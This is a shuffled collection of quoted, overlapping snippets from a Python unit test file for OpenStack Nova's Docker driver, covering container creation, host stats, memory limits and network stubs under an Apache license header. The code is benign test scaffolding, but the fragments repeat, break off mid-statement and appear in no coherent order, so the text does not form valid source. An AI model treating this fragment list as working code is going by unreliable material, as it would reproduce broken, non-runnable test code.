"Check to make sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs,",
"'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info, [], 'herp', network_info=network_info) return instance_ref, network_info",
"self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self, instance, network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network',",
"'vcpus': 2 }) instance_href = utils.get_test_instance(flavor=flavor) if image_info is None:",
"4 * units.Mi, 'free': 3 * units.Mi, 'used': 1 *",
"as ( get_memory_usage, get_disk_usage ): # run the code stats",
"test_create_container_vcpus_2(self, image_info=None): flavor = utils.get_test_flavor(options={ 'name': 'vcpu_2', 'flavorid': 'vcpu_2', 'vcpus':",
"software # distributed under the License is distributed on an",
"dotCloud, Inc. # All Rights Reserved. # # Licensed under",
"(the \"License\"); you may # not use this file except",
"instance_ref, network_info def test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo',",
"with contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk) ) as",
"'supported_instances': ('[[\"i686\", \"docker\", \"lxc\"],' ' [\"x86_64\", \"docker\", \"lxc\"]]') } self.assertEqual(expected_stats,",
"image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'invalid_format'",
"self.test_create_container, image_info) @mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id': 'fake_id'}) def test_destroy_container(self,",
"fake_setup_network) def fake_get_registry_port(self): return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port) # Note:",
"softtabstop=4 # # Copyright (c) 2013 dotCloud, Inc. # All",
"file except in compliance with the License. You may obtain",
"from nova import test from nova.tests import utils import nova.tests.virt.docker.mock_client",
"return_value={'id': 'fake_id'}) def test_destroy_container(self, byname_mock, teardown_mock): instance = utils.get_test_instance() self.connection.destroy(self.context,",
"OR CONDITIONS OF ANY KIND, either express or implied. See",
"the specific language governing permissions and limitations # under the",
"exists only because _get_running_instance on the # base class will",
"import utils import nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers import _VirtDriverTestCase from nova.virt.docker",
"from nova.tests.virt.test_virt_drivers import _VirtDriverTestCase from nova.virt.docker import hostinfo from nova.virt.docker",
"utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href,",
"under the Apache License, Version 2.0 (the \"License\"); you may",
"utils.get_test_image_info(None, instance_ref) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref),",
"self.assertEqual(vcpus * 1024, container_info['Config']['CpuShares']) def test_create_container_wrong_image(self): instance_href = utils.get_test_instance() image_info",
"def setUp(self): super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self, instance,",
"make sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None)",
"def test_get_available_resource(self): memory = { 'total': 4 * units.Mi, 'free':",
"return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port) # Note: using mock.object.path on",
"image_info['container_format'] = 'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info, [], 'herp', network_info=network_info) return",
"= utils.get_test_instance(obj=True) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi, limit) def",
"instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self): instance = utils.get_test_instance(obj=True) limit",
"def test_unplug_vifs(self): # Check to make sure the method raises",
"utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\ '1.1.1.1' image_info = utils.get_test_image_info(None, instance_ref) image_info['disk_format']",
"network_info=None) def test_create_container(self, image_info=None): instance_href = utils.get_test_instance() if image_info is",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY",
"assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats = { 'vcpus': 1, 'vcpus_used': 0,",
"make our assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats = { 'vcpus': 1,",
"instance_ref = utils.get_test_instance(obj=obj) network_info = utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\ '1.1.1.1'",
"nova import exception from nova.openstack.common import jsonutils from nova.openstack.common import",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"nova.openstack.common import jsonutils from nova.openstack.common import units from nova import",
"to in writing, software # distributed under the License is",
"test.TestCase): driver_module = 'nova.virt.docker.DockerDriver' def setUp(self): super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker',",
"self.connection.destroy(self.context, instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self): instance = utils.get_test_instance(obj=True)",
"Check to make sure the method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.unplug_vifs,",
"import test from nova.tests import utils import nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers",
"or agreed to in writing, software # distributed under the",
"context.RequestContext('fake_user', 'fake_project') def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This exists only",
"required by applicable law or agreed to in writing, software",
"nova.virt.docker import hostinfo from nova.virt.docker import network class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase):",
"self.stubs.Set(network, 'teardown_network', fake_teardown_network) self.context = context.RequestContext('fake_user', 'fake_project') def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache'])",
"25L, 'hypervisor_type': 'docker', 'hypervisor_version': 1000, 'hypervisor_hostname': 'test', 'cpu_info': '?', 'supported_instances':",
"= 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info, [], 'herp',",
"# errors in test_virt_drivers def fake_teardown_network(container_id): return self.stubs.Set(network, 'teardown_network', fake_teardown_network)",
"* units.Mi, limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance = utils.get_test_instance(obj=False) limit =",
"'test', 'cpu_info': '?', 'supported_instances': ('[[\"i686\", \"docker\", \"lxc\"],' ' [\"x86_64\", \"docker\",",
"25 * units.Gi, 'used': 25 * units.Gi } # create",
"'free': 3 * units.Mi, 'used': 1 * units.Mi } disk",
"Apache License, Version 2.0 (the \"License\"); you may # not",
"0, 'memory_mb': 4, 'memory_mb_used': 1, 'local_gb': 50L, 'local_gb_used': 25L, 'disk_available_least':",
"self.connection.get_available_resource(nodename='test') # make our assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats = {",
"= utils.get_test_instance() if image_info is None: image_info = utils.get_test_image_info(None, instance_href)",
"= { 'total': 50 * units.Gi, 'available': 25 * units.Gi,",
"All Rights Reserved. # # Licensed under the Apache License,",
"agreed to in writing, software # distributed under the License",
"50 * units.Gi, 'available': 25 * units.Gi, 'used': 25 *",
"self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network) def fake_get_registry_port(self): return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port)",
"distributed under the License is distributed on an \"AS IS\"",
"'vcpu_2', 'flavorid': 'vcpu_2', 'vcpus': 2 }) instance_href = utils.get_test_instance(flavor=flavor) if",
"super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self, instance, network_info): return",
"\"lxc\"]]') } self.assertEqual(expected_stats, stats) def test_plug_vifs(self): # Check to make",
"self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi, limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance = utils.get_test_instance(obj=False)",
"License, Version 2.0 (the \"License\"); you may # not use",
"CONDITIONS OF ANY KIND, either express or implied. See the",
"disk/container_format. def _get_running_instance(self, obj=False): instance_ref = utils.get_test_instance(obj=obj) network_info = utils.get_test_network_info()",
"'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info, [], 'herp', network_info=network_info)",
"and limitations # under the License. import contextlib import socket",
"= utils.get_test_flavor(options={ 'name': 'vcpu_2', 'flavorid': 'vcpu_2', 'vcpus': 2 }) instance_href",
"NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None) def test_unplug_vifs(self): # Check to",
"self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self, image_info=None): flavor = utils.get_test_flavor(options={ 'name': 'vcpu_2', 'flavorid':",
"not use this file except in compliance with the License.",
"[], 'herp', network_info=network_info) return instance_ref, network_info def test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname')",
"writing, software # distributed under the License is distributed on",
"import hostinfo from nova.virt.docker import network class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module",
"'find_container_by_name', return_value={'id': 'fake_id'}) def test_destroy_container(self, byname_mock, teardown_mock): instance = utils.get_test_instance()",
"teardown_mock): instance = utils.get_test_instance() self.connection.destroy(self.context, instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def",
"'used': 1 * units.Mi } disk = { 'total': 50",
"container_info['Config']['CpuShares']) def test_create_container_wrong_image(self): instance_href = utils.get_test_instance() image_info = utils.get_test_image_info(None, instance_href)",
"shiftwidth=4 softtabstop=4 # # Copyright (c) 2013 dotCloud, Inc. #",
"image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href) def",
"# Licensed under the Apache License, Version 2.0 (the \"License\");",
"instance = utils.get_test_instance() self.connection.destroy(self.context, instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self):",
"None: image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] =",
"* units.Gi } # create the mocks with contextlib.nested( mock.patch.object(hostinfo,",
"= utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context,",
"instance_href) image_info['disk_format'] = 'raw' image_info['container_format'] = 'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info)",
"= 'nova.virt.docker.DockerDriver' def setUp(self): super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient()) def",
"the License. You may obtain # a copy of the",
"nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self, instance, network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network) def",
"self._assert_cpu_shares(instance_href, vcpus=2) def _assert_cpu_shares(self, instance_href, vcpus=4): container_id = self.connection.find_container_by_name( instance_href['name']).get('id')",
"an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF",
"use this file except in compliance with the License. You",
"in test_virt_drivers def fake_teardown_network(container_id): return self.stubs.Set(network, 'teardown_network', fake_teardown_network) self.context =",
"utils.get_test_instance(obj=True) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi, limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self):",
"vcpus=2) def _assert_cpu_shares(self, instance_href, vcpus=4): container_id = self.connection.find_container_by_name( instance_href['name']).get('id') container_info",
"\"lxc\"],' ' [\"x86_64\", \"docker\", \"lxc\"]]') } self.assertEqual(expected_stats, stats) def test_plug_vifs(self):",
"'name': 'vcpu_2', 'flavorid': 'vcpu_2', 'vcpus': 2 }) instance_href = utils.get_test_instance(flavor=flavor)",
"image_info, 'fake_files', 'fake_password') self._assert_cpu_shares(instance_href, vcpus=2) def _assert_cpu_shares(self, instance_href, vcpus=4): container_id",
"} # create the mocks with contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory),",
"instance_href, vcpus=4): container_id = self.connection.find_container_by_name( instance_href['name']).get('id') container_info = self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus",
"'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self, image_info=None): flavor = utils.get_test_flavor(options={ 'name':",
"from nova.virt.docker import hostinfo from nova.virt.docker import network class DockerDriverTestCase(_VirtDriverTestCase,",
"hostinfo from nova.virt.docker import network class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module =",
"self.assertEqual(2048 * units.Mi, limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance = utils.get_test_instance(obj=False) limit",
"get_memory_usage, get_disk_usage ): # run the code stats = self.connection.get_available_resource(nodename='test')",
"utils.get_test_instance(obj=obj) network_info = utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\ '1.1.1.1' image_info =",
"self.connection.docker.inspect_container(container_id) self.assertEqual(vcpus * 1024, container_info['Config']['CpuShares']) def test_create_container_wrong_image(self): instance_href = utils.get_test_instance()",
"Inc. # All Rights Reserved. # # Licensed under the",
"License is distributed on an \"AS IS\" BASIS, WITHOUT #",
"KIND, either express or implied. See the # License for",
"(c) 2013 dotCloud, Inc. # All Rights Reserved. # #",
"\"License\"); you may # not use this file except in",
"fake_setup_network(self, instance, network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network) def fake_get_registry_port(self): return",
"IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,",
"the mocks with contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk)",
"units from nova import test from nova.tests import utils import",
"fake_get_registry_port(self): return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port) # Note: using mock.object.path",
"express or implied. See the # License for the specific",
"the Apache License, Version 2.0 (the \"License\"); you may #",
"self.connection.spawn(self.ctxt, jsonutils.to_primitive(instance_ref), image_info, [], 'herp', network_info=network_info) return instance_ref, network_info def",
"def test_create_container(self, image_info=None): instance_href = utils.get_test_instance() if image_info is None:",
"import contextlib import socket import mock from nova import context",
"\\ '1.1.1.1' image_info = utils.get_test_image_info(None, instance_ref) image_info['disk_format'] = 'raw' image_info['container_format']",
"Note: using mock.object.path on class throws # errors in test_virt_drivers",
"mock.object.path on class throws # errors in test_virt_drivers def fake_teardown_network(container_id):",
"See the # License for the specific language governing permissions",
"_assert_cpu_shares(self, instance_href, vcpus=4): container_id = self.connection.find_container_by_name( instance_href['name']).get('id') container_info = self.connection.docker.inspect_container(container_id)",
"test_get_memory_limit_from_sys_meta_in_db_instance(self): instance = utils.get_test_instance(obj=False) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi,",
"self.assertEqual(expected_stats, stats) def test_plug_vifs(self): # Check to make sure the",
"= self.connection.get_available_resource(nodename='test') # make our assertions get_memory_usage.assert_called_once_with() get_disk_usage.assert_called_once_with() expected_stats =",
"# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self): instance = utils.get_test_instance(obj=True) limit = self.connection._get_memory_limit_bytes(instance)",
"instance_href = utils.get_test_instance() if image_info is None: image_info = utils.get_test_image_info(None,",
"'flavorid': 'vcpu_2', 'vcpus': 2 }) instance_href = utils.get_test_instance(flavor=flavor) if image_info",
"# run the code stats = self.connection.get_available_resource(nodename='test') # make our",
"return self.stubs.Set(network, 'teardown_network', fake_teardown_network) self.context = context.RequestContext('fake_user', 'fake_project') def test_driver_capabilities(self):",
"self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self): memory = { 'total':",
"'get_disk_usage', return_value=disk) ) as ( get_memory_usage, get_disk_usage ): # run",
"}) instance_href = utils.get_test_instance(flavor=flavor) if image_info is None: image_info =",
"DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module = 'nova.virt.docker.DockerDriver' def setUp(self): super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver,",
"self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This exists only because _get_running_instance on the #",
"instance, network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network) def fake_get_registry_port(self): return 5042",
"self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self): memory = {",
"jsonutils from nova.openstack.common import units from nova import test from",
"contextlib import socket import mock from nova import context from",
"def _assert_cpu_shares(self, instance_href, vcpus=4): container_id = self.connection.find_container_by_name( instance_href['name']).get('id') container_info =",
"import socket import mock from nova import context from nova",
"law or agreed to in writing, software # distributed under",
"= { 'vcpus': 1, 'vcpus_used': 0, 'memory_mb': 4, 'memory_mb_used': 1,",
"image_info['disk_format'] = 'raw' image_info['container_format'] = 'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info) @mock.patch.object(network,",
"Copyright (c) 2013 dotCloud, Inc. # All Rights Reserved. #",
"'1.1.1.1' image_info = utils.get_test_image_info(None, instance_ref) image_info['disk_format'] = 'raw' image_info['container_format'] =",
"implied. See the # License for the specific language governing",
"image_info = utils.get_test_image_info(None, instance_ref) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker'",
"mocks with contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk) )",
"_get_running_instance on the # base class will not let us",
"# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright (c) 2013",
"= utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\ '1.1.1.1' image_info = utils.get_test_image_info(None, instance_ref)",
"'docker', 'hypervisor_version': 1000, 'hypervisor_hostname': 'test', 'cpu_info': '?', 'supported_instances': ('[[\"i686\", \"docker\",",
"get_disk_usage.assert_called_once_with() expected_stats = { 'vcpus': 1, 'vcpus_used': 0, 'memory_mb': 4,",
"1, 'vcpus_used': 0, 'memory_mb': 4, 'memory_mb_used': 1, 'local_gb': 50L, 'local_gb_used':",
"is None: image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw' image_info['container_format']",
"'get_memory_usage', return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk) ) as ( get_memory_usage, get_disk_usage",
"on class throws # errors in test_virt_drivers def fake_teardown_network(container_id): return",
"= { 'total': 4 * units.Mi, 'free': 3 * units.Mi,",
"us set a custom disk/container_format. def _get_running_instance(self, obj=False): instance_ref =",
"# Copyright (c) 2013 dotCloud, Inc. # All Rights Reserved.",
"self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def test_get_available_resource(self): memory = { 'total': 4 *",
"'fake_password') self._assert_cpu_shares(instance_href, vcpus=2) def _assert_cpu_shares(self, instance_href, vcpus=4): container_id = self.connection.find_container_by_name(",
"fake_teardown_network) self.context = context.RequestContext('fake_user', 'fake_project') def test_driver_capabilities(self): self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon):",
"'used': 25 * units.Gi } # create the mocks with",
"25L, 'disk_available_least': 25L, 'hypervisor_type': 'docker', 'hypervisor_version': 1000, 'hypervisor_hostname': 'test', 'cpu_info':",
"\"docker\", \"lxc\"],' ' [\"x86_64\", \"docker\", \"lxc\"]]') } self.assertEqual(expected_stats, stats) def",
"= 'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info) @mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id':",
"network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\ '1.1.1.1' image_info = utils.get_test_image_info(None, instance_ref) image_info['disk_format'] =",
"from nova.tests import utils import nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers import _VirtDriverTestCase",
"def fake_setup_network(self, instance, network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network) def fake_get_registry_port(self):",
"def fake_get_registry_port(self): return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port', fake_get_registry_port) # Note: using",
"nova.tests.virt.test_virt_drivers import _VirtDriverTestCase from nova.virt.docker import hostinfo from nova.virt.docker import",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR",
"# # Licensed under the Apache License, Version 2.0 (the",
"obj=False): instance_ref = utils.get_test_instance(obj=obj) network_info = utils.get_test_network_info() network_info[0]['network']['subnets'][0]['meta']['dhcp_server'] = \\",
"byname_mock, teardown_mock): instance = utils.get_test_instance() self.connection.destroy(self.context, instance, 'fake_networkinfo') byname_mock.assert_called_once_with(instance['name']) teardown_mock.assert_called_with('fake_id')",
"instance_href = utils.get_test_instance(flavor=flavor) if image_info is None: image_info = utils.get_test_image_info(None,",
"nova import test from nova.tests import utils import nova.tests.virt.docker.mock_client from",
"units.Mi } disk = { 'total': 50 * units.Gi, 'available':",
"= self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048 * units.Mi, limit) def test_get_memory_limit_from_sys_meta_in_db_instance(self): instance =",
"'available': 25 * units.Gi, 'used': 25 * units.Gi } #",
"test_create_container_wrong_image(self): instance_href = utils.get_test_instance() image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] =",
"3 * units.Mi, 'used': 1 * units.Mi } disk =",
"image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files',",
"self.assertRaises(NotImplementedError, self.connection.unplug_vifs, instance=utils.get_test_instance(), network_info=None) def test_create_container(self, image_info=None): instance_href = utils.get_test_instance()",
"instance_href = utils.get_test_instance() image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw'",
"obtain # a copy of the License at # #",
"if image_info is None: image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] =",
"'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info) @mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver, 'find_container_by_name', return_value={'id': 'fake_id'})",
"image_info, 'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self, image_info=None): flavor = utils.get_test_flavor(options={",
"def test_create_container_wrong_image(self): instance_href = utils.get_test_instance() image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format']",
"image_info=None): instance_href = utils.get_test_instance() if image_info is None: image_info =",
"Version 2.0 (the \"License\"); you may # not use this",
"'raw' image_info['container_format'] = 'invalid_format' self.assertRaises(exception.InstanceDeployFailure, self.test_create_container, image_info) @mock.patch.object(network, 'teardown_network') @mock.patch.object(nova.virt.docker.driver.DockerDriver,",
"test_get_available_resource(self): memory = { 'total': 4 * units.Mi, 'free': 3",
"instance_href, image_info, 'fake_files', '<PASSWORD>_password') self._assert_cpu_shares(instance_href) def test_create_container_vcpus_2(self, image_info=None): flavor =",
"'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', 'fake_password') self._assert_cpu_shares(instance_href, vcpus=2) def _assert_cpu_shares(self,",
"nova.tests import utils import nova.tests.virt.docker.mock_client from nova.tests.virt.test_virt_drivers import _VirtDriverTestCase from",
"'memory_mb': 4, 'memory_mb_used': 1, 'local_gb': 50L, 'local_gb_used': 25L, 'disk_available_least': 25L,",
"def test_destroy_container(self, byname_mock, teardown_mock): instance = utils.get_test_instance() self.connection.destroy(self.context, instance, 'fake_networkinfo')",
"'fake_files', 'fake_password') self._assert_cpu_shares(instance_href, vcpus=2) def _assert_cpu_shares(self, instance_href, vcpus=4): container_id =",
"License for the specific language governing permissions and limitations #",
"units.Gi, 'used': 25 * units.Gi } # create the mocks",
"import units from nova import test from nova.tests import utils",
"} self.assertEqual(expected_stats, stats) def test_plug_vifs(self): # Check to make sure",
"memory = { 'total': 4 * units.Mi, 'free': 3 *",
"on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS",
"return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network) def fake_get_registry_port(self): return 5042 self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_get_registry_port',",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"will not let us set a custom disk/container_format. def _get_running_instance(self,",
"image_info is None: image_info = utils.get_test_image_info(None, instance_href) image_info['disk_format'] = 'raw'",
"teardown_mock.assert_called_with('fake_id') def test_get_memory_limit_from_sys_meta_in_object(self): instance = utils.get_test_instance(obj=True) limit = self.connection._get_memory_limit_bytes(instance) self.assertEqual(2048",
"method raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None) def test_unplug_vifs(self): #",
"{ 'total': 4 * units.Mi, 'free': 3 * units.Mi, 'used':",
"self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None) def test_unplug_vifs(self): # Check to make",
"test_create_container(self, image_info=None): instance_href = utils.get_test_instance() if image_info is None: image_info",
"Rights Reserved. # # Licensed under the Apache License, Version",
"using mock.object.path on class throws # errors in test_virt_drivers def",
"flavor = utils.get_test_flavor(options={ 'name': 'vcpu_2', 'flavorid': 'vcpu_2', 'vcpus': 2 })",
"from nova.virt.docker import network class DockerDriverTestCase(_VirtDriverTestCase, test.TestCase): driver_module = 'nova.virt.docker.DockerDriver'",
"units.Gi, 'available': 25 * units.Gi, 'used': 25 * units.Gi }",
"# Note: using mock.object.path on class throws # errors in",
"} disk = { 'total': 50 * units.Gi, 'available': 25",
"create the mocks with contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage', return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage',",
"Licensed under the Apache License, Version 2.0 (the \"License\"); you",
"'docker', nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self, instance, network_info): return self.stubs.Set(nova.virt.docker.driver.DockerDriver, '_setup_network', fake_setup_network)",
"= 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.context, instance_href, image_info, 'fake_files', 'fake_password')",
"setUp(self): super(DockerDriverTestCase, self).setUp() self.stubs.Set(nova.virt.docker.driver.DockerDriver, 'docker', nova.tests.virt.docker.mock_client.MockClient()) def fake_setup_network(self, instance, network_info):",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"from nova.openstack.common import units from nova import test from nova.tests",
"return_value=memory), mock.patch.object(hostinfo, 'get_disk_usage', return_value=disk) ) as ( get_memory_usage, get_disk_usage ):",
"self.assertFalse(self.connection.capabilities['has_imagecache']) self.assertFalse(self.connection.capabilities['supports_recreate']) #NOTE(bcwaldon): This exists only because _get_running_instance on the",
"self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) def",
"#NOTE(bcwaldon): This exists only because _get_running_instance on the # base",
"'vcpu_2', 'vcpus': 2 }) instance_href = utils.get_test_instance(flavor=flavor) if image_info is",
"License. import contextlib import socket import mock from nova import",
"def test_get_host_stats(self): self.mox.StubOutWithMock(socket, 'gethostname') socket.gethostname().AndReturn('foo') socket.gethostname().AndReturn('bar') self.mox.ReplayAll() self.assertEqual('foo', self.connection.get_host_stats()['host_hostname']) self.assertEqual('foo',",
"compliance with the License. You may obtain # a copy",
"25 * units.Gi } # create the mocks with contextlib.nested(",
"test_unplug_vifs(self): # Check to make sure the method raises NotImplementedError.",
"import context from nova import exception from nova.openstack.common import jsonutils",
"= utils.get_test_image_info(None, instance_ref) image_info['disk_format'] = 'raw' image_info['container_format'] = 'docker' self.connection.spawn(self.ctxt,",
"4, 'memory_mb_used': 1, 'local_gb': 50L, 'local_gb_used': 25L, 'disk_available_least': 25L, 'hypervisor_type':",
"units.Mi, 'used': 1 * units.Mi } disk = { 'total':",
"units.Gi } # create the mocks with contextlib.nested( mock.patch.object(hostinfo, 'get_memory_usage',",
"raises NotImplementedError. self.assertRaises(NotImplementedError, self.connection.plug_vifs, instance=utils.get_test_instance(), network_info=None) def test_unplug_vifs(self): # Check",
"permissions and limitations # under the License. import contextlib import",
